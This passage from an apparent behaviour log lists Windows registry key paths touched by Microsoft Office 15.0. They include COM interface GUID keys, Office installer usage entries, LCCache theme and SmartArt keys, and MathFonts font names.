  1730. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1731. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1732. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1733. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1734. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1735. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1736. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1737. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1738. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1739. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1740. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1741. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1742. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1743. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1744. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1745. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1746. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1747. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1748. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1749. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1750. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1751. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1752. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1753. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1754. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1755. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1756. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1757. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1758. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1759. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1760. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1761. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1762. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1763. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1764. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1765. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1766. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1767. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1768. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1769. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1770. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1771. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1772. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1773. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1774. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1775. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1776. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1777. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1778. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1779. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1780. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1781. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1782. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1783. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1784. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1785. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1786. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1787. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1788. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1789. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1790. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1791. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1792. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1793. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1794. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1795. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1796. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1797. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1798. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1799. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1800. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1801. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1802. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1803. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1804. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1805. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1806. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1807. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1808. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1809. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1810. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1811. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1812. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1813. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1814. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1815. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1816. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1817. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1818. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1819. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1820. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1821. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1822. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1823. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1824. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1825. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1826. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1827. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1828. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1829. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1830. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1831. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1832. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1833. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1834. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1835. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1836. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1837. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1838. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1839. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1840. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\VBAFilesIntl_1033",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1842. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1902. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1903. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1904. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1905. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
